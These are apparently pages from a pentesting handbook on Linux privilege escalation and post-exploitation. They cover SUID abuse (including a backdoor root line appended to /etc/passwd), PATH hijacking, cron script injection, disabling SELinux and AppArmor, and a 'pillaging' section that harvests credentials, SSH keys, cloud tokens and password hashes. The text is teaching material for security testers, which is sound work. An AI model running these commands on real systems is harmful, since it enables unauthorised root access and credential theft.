ls -l /usr/bin/passwd
-rwsr-xr-x 1 root root 68208 Nov 29 2022 /usr/bin/passwd
# ^
# s = SUID bit set, owned by root
# anyone running this executes it as root
```
### Finding SUID/SGID Binaries
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Find all SUID binaries
find / -perm -4000 -type f 2>/dev/null
# Find all SGID binaries
find / -perm -2000 -type f 2>/dev/null
# Find both at once
find / -perm /6000 -type f 2>/dev/null
```
### What To Do With Them
Take every result and check it against **GTFOBins** ([https://gtfobins.github.io/](https://gtfobins.github.io/)).
Common SUID abuses:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# find with SUID
find . -exec /bin/sh -p \; -quit
# vim with SUID
vim -c ':!/bin/sh'
# bash with SUID
bash -p
# cp with SUID — overwrite /etc/passwd
cp /etc/passwd /tmp/passwd.bak
echo "hacker::0:0:root:/root:/bin/bash" >> /etc/passwd
```
When you find a SUID binary you don't recognize, Google it before running it.
Custom SUID binaries are often vulnerable to path injection, buffer overflows,
or argument abuse.
***
## Sticky Bit
The sticky bit on a **directory** means only the file's owner (or root) can delete or rename files inside it — even if others have write access to the directory.
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
ls -l /tmp
drwxrwxrwt 10 root root 4096 May 20 12:00 /tmp
# ^
# t = sticky bit set WITH execute permission
# T = sticky bit set WITHOUT execute permission
```
| Symbol | Meaning |
| --------------- | ------------------------------------------- |
| `t` (lowercase) | Sticky bit set, execute permission also set |
| `T` (uppercase) | Sticky bit set, execute permission NOT set |
## World-Writable Files & Directories
World-writable means **any user** can write to it. In a privesc context, this means you can modify a file that a privileged process may later read or execute.
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Find world-writable files (excluding /proc and /sys)
find / -perm -o+w -type f 2>/dev/null | grep -v "^/proc\|^/sys"
# Find world-writable directories
find / -perm -o+w -type d 2>/dev/null | grep -v "^/proc\|^/sys"
```
**What to look for:**
* World-writable scripts that are called by root-owned cron jobs
* World-writable config files for services running as root
* World-writable directories in PATH (path hijacking)
***
## PATH Hijacking via Writable Directories
If a directory in the system's PATH is world-writable, you can plant a malicious binary that gets executed instead of the real one.
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Check the PATH
echo $PATH
# Find writable directories in PATH
for dir in $(echo $PATH | tr ':' ' '); do
if [ -w "$dir" ]; then
echo "$dir is writable by me"
fi
done
# Plant a fake binary (e.g., if a SUID script calls "service" without full path)
echo '#!/bin/bash\n/bin/bash -p' > /tmp/service
chmod +x /tmp/service
export PATH=/tmp:$PATH
```
***
## Permission Enumeration Checklist
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# 1. Find all SUID binaries → check GTFOBins
find / -perm -4000 -type f 2>/dev/null
# 2. Find all SGID binaries
find / -perm -2000 -type f 2>/dev/null
# 3. Find world-writable files
find / -perm -o+w -type f 2>/dev/null | grep -v "^/proc\|^/sys"
# 4. Find world-writable directories
find / -perm -o+w -type d 2>/dev/null | grep -v "^/proc\|^/sys"
# 5. Check sudo rights
sudo -l
# 6. Check your group memberships
id
# 7. Find files owned by your user elsewhere on the system
find / -user $(whoami) -type f 2>/dev/null | grep -v "^/proc\|^/home/$(whoami)"
# 8. Find files writable by your group
find / -group $(id -gn) -writable -type f 2>/dev/null
```
***
## Quick Reference
| Command | Purpose |
| -------------------------------- | ------------------------- |
| `chmod 755 file` | Set permissions via octal |
| `chmod u+x file` | Add execute for owner |
| `chown user:group file` | Change ownership |
| `find / -perm -4000 2>/dev/null` | Find SUID binaries |
| `find / -perm -2000 2>/dev/null` | Find SGID binaries |
| `find / -perm -o+w 2>/dev/null` | Find world-writable files |
| `stat file` | Detailed file metadata |
***
*Next: [User & Group Management](/tech/linux/user-management) — enumerating users, reading `/etc/shadow`, and finding lateral movement targets.*
# Pillaging
Source: https://hackbook.dudji.com/tech/linux/pillaging
## The Mindset
Pillaging is post-exploitation with high privileges. The goal is to extract:
* **Credentials** — passwords, hashes, keys, tokens
* **Sensitive data** — PII, internal documents, business data
* **Infrastructure intel** — internal hostnames, IPs, configs that help you move laterally
* **Persistence material** — SSH keys, API tokens, service accounts
The difference between enumeration and pillaging is **access level**. During enumeration you work with what a low-privilege user can see. During pillaging, you have root — every door is open.
***
## Operating System & Environment
Start by confirming full context with elevated access:
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Full system info
uname -a
cat /etc/os-release
cat /proc/version
# Environment — look for tokens, API keys, secrets
env
cat /proc/1/environ 2>/dev/null | tr '\0' '\n' # init process environment
# Installed packages — find software with known CVEs
dpkg -l # Debian/Ubuntu
rpm -qa # RHEL/CentOS
apt list --installed 2>/dev/null
```
***
## Credentials in Configuration Files
Configuration files are the richest source of credentials on any Linux system. Services need to authenticate to databases, APIs, and other services — those credentials live in config files.
### Web Application Configs
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# WordPress — database credentials
cat /var/www/html/wp-config.php
find / -name "wp-config.php" 2>/dev/null | xargs cat
# Generic PHP configs
find /var/www -name "config.php" -o -name "configuration.php" -o -name "settings.php" 2>/dev/null | xargs cat
# Laravel .env — database, API keys, app secrets
find /var/www -name ".env" 2>/dev/null | xargs cat
# Django settings
find / -name "settings.py" 2>/dev/null | xargs grep -E "PASSWORD|SECRET|DATABASE" 2>/dev/null
# Generic credential hunting in web dirs
grep -rE "password|passwd|db_pass|secret|api_key|token" /var/www/ 2>/dev/null | grep -v ".svn\|.git\|Binary"
```
### Database Configuration Files
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# MySQL / MariaDB
cat /etc/mysql/mysql.conf.d/mysqld.cnf
cat /etc/mysql/my.cnf
cat ~/.my.cnf # Per-user MySQL credentials (often has root password)
# PostgreSQL
cat /etc/postgresql/*/main/postgresql.conf
cat /etc/postgresql/*/main/pg_hba.conf # Auth config — may show trust auth
find / -name "pgpass" -o -name ".pgpass" 2>/dev/null | xargs cat
# MongoDB
cat /etc/mongod.conf
# Redis
cat /etc/redis/redis.conf | grep -E "requirepass|bind"
```
### Service & Application Configs
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# SSH server config
cat /etc/ssh/sshd_config
# FTP
cat /etc/vsftpd.conf
cat /etc/proftpd/proftpd.conf
# Apache / Nginx — virtual hosts may reveal app paths
cat /etc/apache2/apache2.conf
ls /etc/apache2/sites-enabled/
cat /etc/nginx/nginx.conf
ls /etc/nginx/sites-enabled/
# Samba — may contain credentials
cat /etc/samba/smb.conf
# SNMP — community strings
cat /etc/snmp/snmpd.conf
# Any config file mentioning password under /etc
grep -rE "password|passwd|secret" /etc/ 2>/dev/null | grep -v "^Binary\|:#"
```
***
## SSH Keys
SSH keys are the ultimate lateral movement credential — no cracking needed, works immediately.
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Private keys for all users
find / -name "id_rsa" -o -name "id_ecdsa" -o -name "id_ed25519" -o -name "id_dsa" 2>/dev/null
# All .ssh directories
find / -name ".ssh" -type d 2>/dev/null | xargs ls -la
# Root's SSH keys
ls -la /root/.ssh/
cat /root/.ssh/id_rsa 2>/dev/null
cat /root/.ssh/authorized_keys 2>/dev/null
# All users' authorized keys (shows who can log in as whom)
find /home /root -name "authorized_keys" 2>/dev/null | xargs cat
# Known hosts (reveals other machines this box connects to)
find /home /root -name "known_hosts" 2>/dev/null | xargs cat
```
`known_hosts` reveals every host this machine has ever SSH'd into. Each entry
is a lateral movement target. Even if the keys are hashed, the IPs/hostnames
are often visible.
***
## Password & Hash Files
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# The classic pair — always try to read shadow
cat /etc/passwd
cat /etc/shadow
# Unshadow and crack
unshadow /etc/passwd /etc/shadow > /tmp/hashes.txt
john --wordlist=/usr/share/wordlists/rockyou.txt /tmp/hashes.txt
hashcat -m 1800 /tmp/hashes.txt /usr/share/wordlists/rockyou.txt
# NIS/YP shadow (older systems)
cat /etc/passwd- 2>/dev/null
cat /etc/shadow- 2>/dev/null
# Cached sudo credentials
ls -la /var/db/sudo/ 2>/dev/null
```
***
## Command History Files
Users type passwords directly into terminals constantly. History files capture everything.
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Current user
cat ~/.bash_history
cat ~/.zsh_history 2>/dev/null
cat ~/.sh_history 2>/dev/null
cat ~/.fish_history 2>/dev/null
# All users (with root access)
find /home /root -name ".*history" 2>/dev/null | xargs cat
# MySQL commands typed in terminal (passwords passed with -p)
grep -h "mysql\|mysqladmin\|psql\|redis-cli\|mongo" /home/*/.bash_history /root/.bash_history 2>/dev/null
# SSH commands (reveals targets and usernames)
grep "ssh " /home/*/.bash_history /root/.bash_history 2>/dev/null
# wget/curl with credentials in URLs
grep -h "wget\|curl" /home/*/.bash_history /root/.bash_history 2>/dev/null | grep -E "://.*:.*@"
```
***
## Log Files
Logs are a goldmine — applications log errors that often include credentials, and auth logs show activity patterns.
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Authentication events — successful and failed logins
cat /var/log/auth.log
grep "Accepted\|Failed\|password" /var/log/auth.log | tail -50
# System log — service starts, errors, cron activity
cat /var/log/syslog | tail -100
# Kernel log
cat /var/log/kern.log | tail -50
# Web server logs — URLs sometimes contain credentials
cat /var/log/apache2/access.log | grep -E "password|passwd|token|key"
cat /var/log/nginx/access.log | grep -E "password|passwd|token|key"
# Application-specific logs
ls /var/log/
find /var/log -name "*.log" -readable 2>/dev/null | xargs grep -l "password\|credential\|token" 2>/dev/null
```
**Log locations reference:**
| Log File | Contains |
| ----------------------------- | --------------------------------------------- |
| `/var/log/auth.log` | SSH logins, sudo usage, PAM events |
| `/var/log/syslog` | General system events |
| `/var/log/kern.log` | Kernel messages |
| `/var/log/apache2/access.log` | Web requests |
| `/var/log/apache2/error.log` | App errors — often includes paths and configs |
| `/var/log/mysql/error.log` | Database errors |
| `/var/log/mail.log` | Mail server activity |
| `/var/log/fail2ban.log` | Blocked IPs — reveals attack patterns |
| `/var/log/journal/` | Systemd journal (use `journalctl`) |
***
## Databases
If a database service is running, connect to it directly with root or the credentials you found.
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# MySQL / MariaDB
mysql -u root -p # prompted password
mysql -u root -p'foundpassword' # inline password
mysql -u root --password=foundpassword -e "show databases;"
# Once in MySQL:
# SHOW DATABASES;
# USE ;
# SHOW TABLES;
# SELECT * FROM users;
# SELECT user, password FROM mysql.user; ← MySQL user hashes
# PostgreSQL
psql -U postgres
psql -U postgres -c "\l" # list databases
psql -U postgres -d mydb -c "SELECT * FROM users;"
# SQLite (common in apps)
find / -name "*.db" -o -name "*.sqlite" -o -name "*.sqlite3" 2>/dev/null
sqlite3 /path/to/database.db ".tables"
sqlite3 /path/to/database.db "SELECT * FROM users;"
# Redis (often unauthenticated)
redis-cli
redis-cli KEYS "*"
redis-cli GET ""
```
***
## Stored Credentials & Secret Files
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# .netrc — FTP/HTTP credentials stored in plaintext
find /home /root -name ".netrc" 2>/dev/null | xargs cat
# AWS credentials
find / -name "credentials" -path "*/.aws/*" 2>/dev/null | xargs cat
find / -name "config" -path "*/.aws/*" 2>/dev/null | xargs cat
env | grep -E "AWS_|AMAZON_"
# GCP credentials
find / -name "*.json" -path "*/gcloud/*" 2>/dev/null
# Docker — registry credentials and configs
cat /root/.docker/config.json 2>/dev/null
cat ~/.docker/config.json 2>/dev/null
# Git config — may contain tokens or credentials in remote URLs
find / -name ".gitconfig" 2>/dev/null | xargs cat
find / -name ".git" -type d 2>/dev/null | xargs -I{} cat {}/../.git/config
# Password manager databases
find / -name "*.kdbx" -o -name "pass.gpg" 2>/dev/null
# Any file literally named with sensitive keywords
find / -type f \( -name "*password*" -o -name "*credential*" -o -name "*secret*" -o -name "*token*" \) 2>/dev/null | grep -v "^/proc\|^/sys"
```
***
## Emails & Mail Spools
Internal emails often contain credentials, reset links, and infrastructure information.
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Local mail spools
ls /var/mail/
cat /var/mail/root 2>/dev/null
find /var/mail /var/spool/mail -type f 2>/dev/null | xargs cat
# Mutt / other mail client configs
find /home /root -name ".muttrc" -o -name ".mailrc" 2>/dev/null | xargs cat
```
***
## Interesting Files Across the System
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Backup files (often contain old configs with credentials)
find / -name "*.bak" -o -name "*.backup" -o -name "*.old" -o -name "*.orig" 2>/dev/null
# Scripts — may hardcode credentials or reveal logic
find / -name "*.sh" -not -path "/usr/*" 2>/dev/null | head -20
find / -name "*.py" -not -path "/usr/*" 2>/dev/null | xargs grep -l "password\|secret" 2>/dev/null
# Recently modified files (last 10 minutes — post-exploitation activity)
find / -type f -mmin -10 2>/dev/null | grep -v "^/proc\|^/sys"
# Large files (potential data dumps)
find / -type f -size +10M -not -path "/proc/*" -not -path "/sys/*" 2>/dev/null
# Hidden files and directories
find /home /root /tmp /var /opt -name ".*" -type f 2>/dev/null
```
***
## Memory & Running Process Secrets
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Environment variables of running processes (may contain tokens/passwords)
for pid in /proc/[0-9]*/environ; do
echo "=== $pid ==="
cat "$pid" 2>/dev/null | tr '\0' '\n' | grep -E "PASS|SECRET|KEY|TOKEN|API"
done
# Command line arguments of all processes
ps auxww | grep -E "password|passwd|secret|token|key" | grep -v grep
# Dump strings from process memory (requires root)
# Be careful — can destabilize processes
cat /proc//maps
strings /proc//mem 2>/dev/null | grep -E "password|secret"
```
*Next: [System Logs](/tech/linux/system-logs) — reading and analyzing logs to understand what happened on a system and find evidence of credentials and activity.*
# Processes services
Source: https://hackbook.dudji.com/tech/linux/processes-services
## The Mindset
Processes and services matter to a pentester for three reasons:
* **Attack surface** — Services running as root with known vulnerabilities
* **Credential exposure** — Processes started with passwords as arguments (visible in `ps`)
* **Scheduled execution** — Cron jobs and timers running privileged scripts you might be able to modify
Always ask: *what is running, as whom, and can I influence it?*
***
## Processes
### `ps` — Process Status
The primary tool for viewing running processes.
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# All processes, full detail, including those without a terminal
ps aux
# Tree view — shows parent/child relationships
ps auxf
# Processes for a specific user
ps -u root
# Watch processes update every second (poor man's top)
watch -n 1 "ps aux"
```
**`ps aux` output explained:**
```
USER PID %CPU %MEM VSZ RSS STAT START TIME COMMAND
root 1 0.0 0.1 225948 9520 Ss 09:01 0:03 /sbin/init
www-data 812 0.1 0.4 123456 18432 S 09:05 0:12 /usr/sbin/apache2
```
| Column | Meaning |
| --------------- | -------------------------------------------------------------------------------------------------------------------------------- |
| `USER` | Who owns the process — root-owned processes are high value |
| `PID` | Process ID |
| `%CPU` / `%MEM` | Resource usage |
| `VSZ` | Virtual memory size — total memory the process could use |
| `RSS` | Resident Set Size — physical memory currently used by the process |
| `STAT` | Process state — S sleeping (waiting for input), R running (actively using CPU), Z zombie (finished but not cleaned up by parent) |
| `START` | Time the process was started |
| `TIME` | Total CPU time the process has consumed since it started |
| `COMMAND` | The full command — **passwords often appear here** |
**Hunt for credentials in process arguments:**
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Look for passwords passed as arguments
ps aux | grep -E "password|passwd|--pass|-p [0-9]"
# Check full command lines via /proc
for pid in /proc/[0-9]*/cmdline; do
cat "$pid" 2>/dev/null | tr '\0' ' '
echo
done | grep -i "pass\|secret\|key\|token"
```
The first command searches `ps aux` output for common patterns used when passwords are passed as arguments — `password`/`passwd` as full argument names, `--pass` as a CLI flag, or `-p` followed by a number (common with database CLIs like mysql).
The second command reads directly from `/proc` instead of `ps`. Every running process has a `cmdline` file in `/proc/[PID]/` containing its full command line, but arguments are separated by null bytes (`\0`) instead of spaces. `tr '\0' ' '` converts those null bytes to spaces so the output is readable, then `grep` filters for anything that looks like a secret.
Developers and sysadmins frequently pass database passwords as command-line
arguments. These show up in `ps aux` and are readable by any user on the
system.
***
## Services (Daemons)
Services are background processes — identified by a `d` suffix in their name (`sshd`, `httpd`, `mysqld`). They're managed by **systemd** on most modern Linux systems.
### `systemctl` — Service Management
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# List all running services
systemctl list-units --type=service --state=running
# List ALL services (including stopped)
systemctl list-units --type=service
# Status of a specific service
systemctl status ssh
systemctl status apache2
# Start / stop / restart
systemctl start ssh
systemctl stop ssh
systemctl restart ssh
# Enable at boot / disable
systemctl enable ssh
systemctl disable ssh
```
**What to look for in service status:**
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
systemctl status mysql
# ● mysql.service - MySQL Community Server
# Loaded: loaded (/lib/systemd/system/mysql.service)
# Active: active (running) since Mon 2024-01-01
# Process: 1234 ExecStart=/usr/sbin/mysqld (code=exited)
# Main PID: 1235 (mysqld)
# CGroup: /system.slice/mysql.service
# └─1235 /usr/sbin/mysqld
```
Note the user context — if it says `User=root` in the unit file, any exploit against this service runs as root.
### Check Service Unit Files for Misconfigs
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# View the unit file for a service
systemctl cat ssh
cat /lib/systemd/system/apache2.service
# Look for services running as root
grep -r "User=" /etc/systemd/system/ /lib/systemd/system/ 2>/dev/null
# Find writable service unit files (can hijack execution)
find /etc/systemd /lib/systemd -writable -type f 2>/dev/null
```
### `journalctl` — Service Logs
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Logs for a specific service
journalctl -u ssh.service
# Follow logs in real time
journalctl -u apache2 -f
# Logs since last boot
journalctl -b
# Look for errors
journalctl -p err
```
***
## Listening Ports & Network Services
A service is only useful to you if it's accessible. Map what's listening and where.
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# All listening ports (TCP + UDP)
ss -tuln
# Same with process names (needs root for all processes)
ss -tulnp
# Legacy netstat equivalent
netstat -tuln
netstat -tulnp
# Cross-reference with ps — find the process behind a port
ss -tulnp | grep :3306 # MySQL
ss -tulnp | grep :8080 # Web app
```
**Why this matters:** Services listening on `127.0.0.1` (localhost only) are not exposed externally — but once you're on the box, you can access them. Internal services are often less hardened than externally-facing ones.
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Find internal-only services (localhost listeners)
ss -tuln | grep "127.0.0.1"
# Port forward to access them from your machine
# ssh -L ::@
ssh -L 8080:127.0.0.1:8080 user@target
```
***
## Cron Jobs — Scheduled Task Abuse
Cron runs scripts on a schedule — often as root. If a root-owned cron job calls a script you can modify, you can inject commands that run as root.
### Where Cron Jobs Live
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# System-wide crontab
cat /etc/crontab
# Cron directories (scripts dropped here run automatically)
ls -la /etc/cron.d/
ls -la /etc/cron.daily/
ls -la /etc/cron.hourly/
ls -la /etc/cron.weekly/
ls -la /etc/cron.monthly/
# Current user's crontab
crontab -l
# Other users' crontabs (needs root)
crontab -l -u root
ls /var/spool/cron/crontabs/
```
### Reading a Crontab
```
# MIN HOUR DOM MON DOW USER COMMAND
0 */6 * * * root /opt/scripts/backup.sh
0 0 1 * * root /usr/local/bin/cleanup.sh
```
| Field | Values | Description |
| ----- | ------ | ------------------------------ |
| MIN | 0-59 | Minute |
| HOUR | 0-23 | Hour |
| DOM | 1-31 | Day of month |
| MON | 1-12 | Month |
| DOW | 0-7 | Day of week (0 and 7 = Sunday) |
| `*` | any | Run every interval |
| `*/6` | any | Every 6 units |
### Exploiting Cron Jobs
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Step 1: Find cron jobs running as root
cat /etc/crontab
grep -r "CRON" /var/log/syslog | tail -20 # See what recently ran
# Step 2: Check if the script is writable
ls -la /opt/scripts/backup.sh
# Step 3: If writable — inject a reverse shell or SUID bash
echo "chmod +s /bin/bash" >> /opt/scripts/backup.sh
# Wait for cron to run, then:
bash -p
# Step 4: If the script doesn't exist yet — create it
# (cron calls a script that was deleted but the job remains)
echo '#!/bin/bash\nchmod +s /bin/bash' > /opt/scripts/backup.sh
chmod +x /opt/scripts/backup.sh
```
Use `pspy` to monitor processes in real time without root — it catches cron
jobs and other scheduled tasks as they execute, even ones not visible in
crontab files. `./pspy64` — watch for root-owned processes spawning at regular
intervals.
***
## Systemd Timers — The Modern Cron
Systemd timers are the modern replacement for cron. Check them too.
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# List all active timers
systemctl list-timers --all
# View what a timer runs
systemctl cat mytimer.timer
systemctl cat mytimer.service
```
***
## Process Signals
Useful for controlling processes during a pentest — particularly for backgrounding tools or cleanly stopping them.
| Signal | Number | Shortcut | Description |
| --------- | ------ | -------- | ----------------------- |
| `SIGHUP` | 1 | — | Reload config / restart |
| `SIGINT` | 2 | `Ctrl+C` | Interrupt process |
| `SIGQUIT` | 3 | `Ctrl+D` | Quit |
| `SIGKILL` | 9 | — | Force kill — no cleanup |
| `SIGTERM` | 15 | — | Graceful termination |
| `SIGSTOP` | 19 | — | Pause process |
| `SIGTSTP` | 20 | `Ctrl+Z` | Suspend to background |
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Kill a process by PID
kill -9
# Kill by name
pkill -9 apache2
# Find PID by name
pgrep sshd
```
### Background & Foreground
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Run a command in the background
./scan.sh &
# Suspend current process
Ctrl+Z
# List background jobs
jobs
# Resume in background
bg
# Bring back to foreground
fg 1
```
***
*Next: [Network Configuration & Enumeration](/tech/linux/network-configuration) — mapping the internal network, active connections, and pivoting opportunities.*
# Security hardening
Source: https://hackbook.dudji.com/tech/linux/security-hardening
## The Mindset
Security hardening is what defenders put in place to stop you. As a pentester you need to:
* **Identify what's running** — SELinux? AppArmor? Fail2ban? Each changes your approach
* **Understand the restrictions** — What can't you do, and why?
* **Find the gaps** — Hardening is only as strong as its configuration. Misconfigured defenses are often worse than none at all
This knowledge also helps you write better pentest reports — you can tell defenders exactly what's missing.
***
## System Updates & Patch Level
The most basic security control — and the most commonly neglected. An unpatched kernel or service is often a direct path to root.
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Check OS and kernel version
uname -r
cat /etc/os-release
# List installed packages and versions
dpkg -l # Debian/Ubuntu
rpm -qa # RHEL/CentOS
# Check for available updates (shows what's unpatched)
apt list --upgradable 2>/dev/null
yum check-update 2>/dev/null
# Last time the system was updated
ls -la /var/cache/apt/pkgcache.bin
stat /var/lib/apt/lists/ | grep "Modify"
# Update everything (on your own lab systems)
sudo apt update && sudo apt dist-upgrade
```
Always run `uname -r` early and search for kernel exploits. Administrators
frequently patch applications but forget to update the kernel manually on
older systems.
***
## SELinux — Security-Enhanced Linux
SELinux is a **Mandatory Access Control (MAC)** system built into the Linux kernel. It enforces security policies that define exactly what every process can and cannot do — regardless of file permissions.
### How It Works
Every process, file, and system object gets a **security label**. Policy rules define which labels can interact with which. Even root is constrained by SELinux policy.
### Check SELinux Status
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Check if SELinux is running and in what mode
sestatus
# Output:
# SELinux status: enabled
# SELinuxfs mount: /sys/fs/selinux
# SELinux mount point: /sys/fs/selinux
# Loaded policy name: targeted
# Current mode: enforcing ← enforcing | permissive | disabled
# Mode from config file: enforcing
# Policy MLS status: enabled
# Policy deny_unknown status: denied
# Max kernel policy version: 33
# Quick mode check
getenforce
# Enforcing / Permissive / Disabled
```
### SELinux Modes
| Mode | Behavior | Pentest Impact |
| ------------ | ----------------------------------------------------- | --------------------------------------------- |
| `Enforcing` | Policies are enforced — violations blocked and logged | Full restrictions in place |
| `Permissive` | Violations are logged but NOT blocked | No restrictions — but your actions are logged |
| `Disabled` | SELinux completely off | No restrictions, no logging |
### SELinux Contexts
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# View SELinux context on files
ls -Z /etc/passwd
# system_u:object_r:passwd_file_t:s0 /etc/passwd
# View context of running processes
ps auxZ | grep apache
# unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 root 1234 apache2
# View your own context
id -Z
```
### Temporarily Disable SELinux (Requires Root)
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Set to permissive for current session (no reboot needed)
setenforce 0
# Re-enable
setenforce 1
# Permanently disable (requires reboot) — edit config
cat /etc/selinux/config
# SELINUX=enforcing ← change to disabled or permissive
```
### Common SELinux Bypass Techniques
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Check if you're running in an unconfined context (unrestricted)
id -Z | grep "unconfined"
# Look for booleans that weaken policy
getsebool -a | grep "on$" # All enabled booleans
getsebool httpd_execmem # Specific boolean
getsebool httpd_can_network_connect_db # Often enabled for web apps
# Find files with permissive types (less restricted)
seinfo --permissive 2>/dev/null
```
***
## AppArmor
AppArmor is also a **MAC system** but operates differently from SELinux. It uses **application profiles** that define what files and capabilities each application can access. Simpler to configure than SELinux, and common on Ubuntu/Debian systems.
### Check AppArmor Status
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Check if AppArmor is running
aa-status
sudo apparmor_status
# Output:
# apparmor module is loaded.
# 15 profiles are loaded.
# 15 profiles are in enforce mode. ← full restrictions
# 0 profiles are in complain mode. ← log only, no blocking
# 3 processes have profiles defined.
```
### AppArmor Modes
| Mode | Behavior | Pentest Impact |
| ------------ | ------------------------------------- | ----------------------------------- |
| `enforce` | Profile restrictions are applied | Actions outside profile are blocked |
| `complain` | Violations are logged but not blocked | No restrictions — but logged |
| `unconfined` | No profile — no restrictions | Full access for that process |
### Check Profiles for a Process
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# List all loaded profiles
cat /sys/kernel/security/apparmor/profiles 2>/dev/null
# Check if a specific binary has a profile
aa-status | grep apache
aa-status | grep mysql
# View profile contents
cat /etc/apparmor.d/usr.sbin.apache2 2>/dev/null
# Processes NOT covered by AppArmor (unconfined)
aa-status | grep "unconfined"
```
### Disable AppArmor for a Profile (Requires Root)
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
# Set a profile to complain mode (no blocking)
aa-complain /usr/sbin/apache2
# Disable a specific profile
aa-disable /usr/sbin/apache2
# Reload all profiles
apparmor_parser -r /etc/apparmor.d/*
```
***
## TCP Wrappers
TCP Wrappers control access to network services based on the **client's IP address**. Simple but effective for basic network-level access control.
### How It Works
Two files control access:
| File | Purpose |
| ------------------ | ------------------------------------- |
| `/etc/hosts.allow` | Explicitly permitted services and IPs |
| `/etc/hosts.deny` | Explicitly blocked services and IPs |
**Rule order:** `hosts.allow` is checked first. If a match is found, access is granted. If not, `hosts.deny` is checked. If no match in either, access is granted by default.
### Reading the Config Files
```bash theme={"theme":{"light":"github-light","dark":"tokyo-night"}} theme={"theme":{"light":"github-light","dark":"tokyo-night"}}
cat /etc/hosts.allow
# # Allow SSH from the local network
# sshd : 10.129.14.0/24
#
# # Allow FTP from a specific host
# ftpd : 10.129.14.10
#
# # Allow Telnet from any host in this domain
# telnetd : .inlanefreight.local
cat /etc/hosts.deny
# # Deny all services from this domain
# ALL : .inlanefreight.com
#
# # Deny SSH from a specific host
# sshd : 10.129.22.22
#
# # Deny FTP from a subnet
# ftpd : 10.129.22.0/24
```
### Format
```
:
# Examples:
ALL : ALL # All services from all clients
sshd : 192.168.1.0/24 # SSH from a subnet
httpd : .example.com # HTTP from a domain (note the leading dot)
ALL : LOCAL # All services from localhost
```
